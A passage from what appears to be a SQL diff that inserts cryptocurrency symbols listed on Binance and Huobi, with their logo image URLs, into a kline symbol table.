`t_kline_symbol` VALUES (375, 'binance', 'MKR', 'MKR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maker.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (376, 'binance', 'CKB', 'CKB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/nervos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (377, 'binance', 'CHR', 'CHR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/d9875ce3cc365821560227f4e48969a6.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (378, 'binance', 'EDU', 'EDU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/open-campus.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (379, 'binance', 'RSR', 'RSR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/e405995612c6a280603e0e9187aa6190.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (380, 'binance', 'ZRX', 'ZRX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/0x.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (381, 'binance', 'ANKR', 'ANKR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ankr-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (382, 'binance', 'HFT', 'HFT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investment/hashflow-rect5l8WOfEj9YvnU.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (383, 'binance', 'LINA', 'LINA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linear.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (384, 'binance', 'CFX', 'CFX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/conflux-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (385, 'binance', 'ONT', 'ONT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ontology.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (386, 'binance', 'ATA', 'ATA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/automata.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (387, 'binance', 'DODO', 'DODO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dodo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (388, 'binance', 'FOOTBALL', 'FOOTBALL', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (389, 'huobi', 'usdt', 'USDT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tether.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (390, 'huobi', 'ht', 'HT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/huobi-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (391, 'huobi', 'lsk', 'LSK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lisk.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (392, 'huobi', 'btg', 'BTG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-gold.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (393, 'huobi', 'hc', 'HC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/hc.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (394, 'huobi', 'dcr', 'DCR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decred.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (395, 'huobi', 'steem', 'STEEM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/steem.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (396, 'huobi', 'snt', 'SNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/status.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (397, 'huobi', 'salt', 'SALT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/salt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (398, 'huobi', 'glm', 'GLM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/golem-network-tokens.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (399, 'huobi', 'cmt', 'CMT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/comet.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (400, 'huobi', 'btm', 'BTM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bytom.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (401, 'huobi', 'pay', 'PAY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tenx.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (402, 'huobi', 'powr', 'POWR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/power-ledger.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (403, 'huobi', 'dgd', 'DGD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digixdao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (404, 'huobi', 'ven', 'VEN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/venture-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (405, 'huobi', 'qash', 'QASH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/qash.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (406, 'huobi', 'gas', 'GAS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gas.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (407, 'huobi', 'eng', 'ENG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/enigma-project.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (408, 'huobi', 'mco', 'MCO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monaco.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (409, 'huobi', 'rdn', 'RDN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/raiden-network-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (410, 'huobi', 'chat', 'CHAT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chatcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (411, 'huobi', 'srn', 'SRN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sirin-labs-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (412, 'huobi', 'act', 'ACT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/achainofficial.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (413, 'huobi', 'tnb', 'TNB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/time-new-bank.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (414, 'huobi', 'qsp', 'QSP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quantstamp.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (415, 'huobi', 'req', 'REQ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/request-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (416, 'huobi', 'phx', 'PHX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phoenix-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (417, 'huobi', 'appc', 'APPC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/appcoins.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (418, 'huobi', 'rcn', 'RCN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripio-credit-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (419, 'huobi', 'smt', 'SMT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smartmesh.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (420, 'huobi', 'adx', 'ADX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adx-net.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (421, 'huobi', 'tnt', 'TNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tierion.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (422, 'huobi', 'ost', 'OST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ost.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (423, 'huobi', 'itc', 'ITC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iot-chain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (424, 'huobi', 'lun', 'LUN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lunyr.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (425, 'huobi', 'gnx', 'GNX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genaro-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (426, 'huobi', 'ast', 'AST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/airswap.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (427, 'huobi', 'evx', 'EVX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/everex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (428, 'huobi', 'mds', 'MDS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/medishares.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (429, 'huobi', 'snc', 'SNC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/suncontract.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (430, 'huobi', 'propy', 'PROPY', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (431, 'huobi', 'eko', 'EKO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/echolink.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (432, 'huobi', 'nas', 'NAS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nebulas-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (433, 'huobi', 'bcd', 'BCD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-diamond.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (434, 'huobi', 'waxp', 'WAXP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wax.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (435, 'huobi', 'wicc', 'WICC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waykichain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (436, 'huobi', 'topc', 'TOPC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/topchain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (437, 'huobi', 'swftc', 'SWFTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swftcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (438, 'huobi', 'dbc', 'DBC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deepbrain-chain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (439, 'huobi', 'elf', 'ELF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/aelf.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (440, 'huobi', 'aidoc', 'AIDOC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aidoc.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (441, 'huobi', 'monfter', 'MONFTER', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (442, 'huobi', 'yee', 'YEE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yee.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (443, 'huobi', 'dat', 'DAT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/datum.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (444, 'huobi', 'let', 'LET', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linkeye.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (445, 'huobi', 'dta', 'DTA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/data.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (446, 'huobi', 'utk', 'UTK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/utrust.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (447, 'huobi', 'meet', 'MEET', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinmeet.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (448, 'huobi', 'soc', 'SOC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/soda-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (449, 'huobi', 'ruff', 'RUFF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ruff.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (450, 'huobi', 'ocn', 'OCN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/odyssey.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (451, 'huobi', 'ela', 'ELA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/elastos.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (452, 'huobi', 'bcx', 'BCX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoinx.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (453, 'huobi', 'sbtc', 'SBTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/super-bitcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (454, 'huobi', 'bifi', 'BIFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beefy-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (455, 'huobi', 'zla', 'ZLA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/zillatoken.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (456, 'huobi', 'stk', 'STK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stk.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (457, 'huobi', 'wpr', 'WPR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wepower.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (458, 'huobi', 'mtn', 'MTN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/medical-chain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (459, 'huobi', 'mtx', 'MTX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/matryx.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (460, 'huobi', 'abt', 'ABT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arcblock.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (461, 'huobi', 'ctxc', 'CTXC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cortex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (462, 'huobi', 'bft', 'BFT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bnktothefuture.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (463, 'huobi', 'wan', 'WAN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wanchain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (464, 'huobi', 'kan', 'KAN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bikan.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (465, 'huobi', 'lba', 'LBA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/libra-credit.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (466, 'huobi', 'polyx', 'POLYX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polymesh.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (467, 'huobi', 'pai', 'PAI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/project-pai.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (468, 'huobi', 'wtc', 'WTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waltonchain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (469, 'huobi', 'box', 'BOX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/defibox.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (470, 'huobi', 'gxc', 'GXC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gxchain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (471, 'huobi', 'bix', 'BIX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bibox-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (472, 'huobi', 'hit', 'HIT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hitchain.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (473, 'huobi', 'ong', 'ONG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ongsocial.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (474, 'huobi', 'bt1', 'BT1', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bt1-cst.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (475, 'huobi', 'bt2', 'BT2', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bt2-cst.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (476, 'huobi', 'firo', 'FIRO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (477, 'huobi', 'ncash', 'NCASH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nucleus-vision.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (478, 'huobi', 'grs', 'GRS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/groestlcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (479, 'huobi', 'egcc', 'EGCC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/engine.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (480, 'huobi', 'she', 'SHE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/she-coin.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (481, 'huobi', 'mex', 'MEX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (482, 'huobi', 'iic', 'IIC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/intelligent-investment-chain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (483, 'huobi', 'gsc', 'GSC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/global-social-chain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (484, 'huobi', 'uc', 'UC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/youlive-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (485, 'huobi', 'uip', 'UIP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unlimitedip.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (486, 'huobi', 'cnn', 'CNN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/content-neutrality-network.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (487, 'huobi', 'aac', 'AAC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/acute-angle-cloud.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (488, 'huobi', 'uuu', 'UUU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/u-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (489, 'huobi', 'cdc', 'CDC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/commerce-data-connection.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (490, 'huobi', 'lxt', 'LXT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (491, 'huobi', 'but', 'BUT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitup-token.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (492, 'huobi', '18c', '18C', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/18c.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (493, 'huobi', 'datx', 'DATX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/datx.jpg', NULL, NULL, NULL, 